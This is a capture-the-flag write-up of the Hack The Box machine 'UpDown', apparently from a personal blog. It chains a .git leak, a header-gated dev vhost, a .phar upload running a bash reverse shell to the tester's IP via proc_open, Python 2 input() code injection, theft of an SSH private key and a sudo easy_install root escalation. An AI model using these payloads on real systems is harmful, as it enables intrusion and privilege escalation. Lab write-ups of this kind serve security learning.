Home Write up for UpDown Machine from Hach The Box
Post
Cancel

Write up for UpDown Machine from Hach The Box

MachineUpDown (10.10.11.177 - siteisup.htb)

Summary

We found a .git directory in /dev/, we were able to reconstruct a repository and access the files in it. One of files was .htaccess which disclosed a header we used to access dev virtual host. http://dev.siteisup.htb/ allowed us to upload a malicious file .phar, we used it to gain a shell as www-data. We found a python2 script that uses a vulnerable function input(), which we leveraged to gain a shell as developer. As develeper we were able to gain a root shell by executing easy_install using sudo.

Vulnerabilities

Cryptographic failure.git present on the website
Arbitrary file uploadfile upload function has insufficient filtering
Vulnerable componentinput() function in python2 accepts the input in as-it-is state and won’t modify its type.
Security misconfigurationeasy_install does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Enumeration

We started with a nmap scan and got 2 open ports:

  • 80 - Apache 2.4.41
  • 22 - OpenSSH 8.2p1
1
2
3
4
5
6
7
8
9
10
11
12
$ sudo nmap 10.10.11.177 -sV -oA nmap/10.10.11.177
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-06 13:48 EST
Nmap scan report for 10.10.11.177
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds

Web - port 80

Browsing to http://10.10.11.177/ we see this home page

This website takes a url and checks if it is up or not. It also has a debug option, when enabled it shows the response too.

We fuzzed the url http://siteisup.htb/ for hidden directories, and we found /dev

1
ffuf -u http://siteisup.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,302 ffuf-10.10.11.177.json

We did the same thing with http://10.10.11.177/dev/ and we found a /.git

1
ffuf -u http://siteisup.htb/dev/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,301,302 -o ffuf-10.10.11.177-dev.json

We used git-dumper to get the git repo

1
git-dumper http://siteisup.htb/dev/.git git-10.10.11.177

git log revealed that there is some kind of protection around dev vhost

1
git log

Reading the content of .htaccess, we can see that there is a special header “Special-Dev: only4dev” which we can only assume is required to access dev vhost

1
cat .htaccess

To prove our thought we browsed to http://dev.siteisup.htb/ without the special header and got 403 Forbidden response.
After adding Special-Dev header we got a page semilar to the one we saw before, but it accepts a file instead of just a URL.

index.php analysis

what happens here is the query parameter page is matched against a regex /bin|usr|home|var|etc/i, then .php is appended to it before including it.
if page is not provided checker.php is included, which is the page we saw when we browsed to http://dev.siteisup.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                error_log($page . ".php");
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

checker.php analysis

We have an upload form, that uses a POST request to upload a file.

1
2
3
4
5
<form method="post" enctype="multipart/form-data">
        <label>List of websites to check:</label><br><br>
        <input type="file" name="file" size="50">
        <input name="check" type="submit" value="Check">
</form>

When the post request arrives, it checks if the request body contains check which means a file is being uploaded.

1
2
3
4
5
if($_POST['check']){ 
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }

After that it checks that the file is smaller than 10kb, and the extension is not blacklisted.

Not all the extensions we can use to upload a reverse shell are blacklisted, for example phar can be used.

Then it creates a directory from the md5 hash of the current time.

1
2
3
4
5
6
7
8
9
10
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
        die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);

After, it gets the file content using file_get_contents(), then it calls isitup() for each line.
When it is done processing the file it deletes it using @unlink().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
        $site=trim($site);
        if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                $check=isitup($site);
                if($check){
                        echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                }else{
                        echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                }
        }else{
                echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
        }
}
# Delete the uploaded file.
@unlink($final_path);

Testing File upload

We created a file 00.phar:

1
2
http://10.10.14.95:9000/
<?php phpinfo(); ?>

The first line is used to prevent the deletion of our uploaded file before executing it.
When the server sends a request to our nc server using the funcion isitup(), it will wait for a response which will never arrive, we can use this time to browse to our uploaded file http://dev.siteisup.htb/uploads/<md5(time)>/00.phar to execute it.

note: http://dev.site.htb/uploads/ is listable.

We setup a listener on port 9000

Then we uploaded 00.phar

we can see that we recieved a request on our listener.

After browsing to http://dev.siteisup.htb/uploads/<md5(time)>/00.phar we can see a phpinfo page.

Going throught the phpinfo page, we found that some functions are disabled, mostly those that we can use to execute system commands.

According to Hacktrick, we can use proc_open() to execute system commands, and it’s not disabled.

Initial Access

we created a file 01.phar containig a bash reverse shell executed using proc_open()

1
2
3
4
http://10.10.14.95:9000/
<?php
echo proc_close(proc_open("bash -c 'sh -i >& /dev/tcp/10.10.14.95/1337 0>&1'",array(),$something));
?>

We setup two listeners, one on port 1337 to recieve the shell, and the second on port 9000 as before to give us time to execute this file.

Then we uploaded 01.phar

As we did before, we browsed to /uploads/<md5(time)>/01.phar

Going back to our listener we can see that we recieved a shell as www-data.

Gaining shell as developer user

We changed directory to /home/developer/dev and found two interesting files siteisup which has the SUID bit set and siteisup_test.py.

siteisup is an elf executable.
we used strings to see it’s content.

1
strings siteisup

We found that it executes /usr/bin/python /home/developer/dev/siteisup_test.py

siteisup_test.py is a python2 script (note that print does not use parenthesis).

1
2
3
4
5
6
7
8
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

input() function in python2 can be leveraged to execute code.

For example, if a malicious user imports the OS module, he can execute code on the server, hence leading to Remote Code Execution.

source

To test this we provided __import__("os").system("uname -a; id") us input, and it was executed as developer

After that, we provided __import__("os").system("bash -p") as input to get a shell as developer

We tried to read the flag but it was only readable by developer group, and if you notice the output of id you can see that we are not in that group gid=33(www-data).
To work arround this, we downloaded /home/developer/.ssh/id_rsa and used to login as developer using ssh

1
2
chmod 0600 id_rsa
ssh -i id_rsa developer@10.10.11.177

Privilege Escalation

We used sudo -l and found that developer can run /usr/local/bin/easy_install as root without a password

According to GTFOBins we can use easy_install to escalate our privileges.

1
2
3
TF=$(mktemp -d)
echo "import os;os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF  

This post is licensed under CC BY 4.0 by the author.